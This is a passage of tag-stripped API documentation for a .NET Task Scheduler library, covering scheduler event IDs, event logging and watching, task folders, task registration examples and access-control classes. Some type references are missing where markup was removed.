start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control 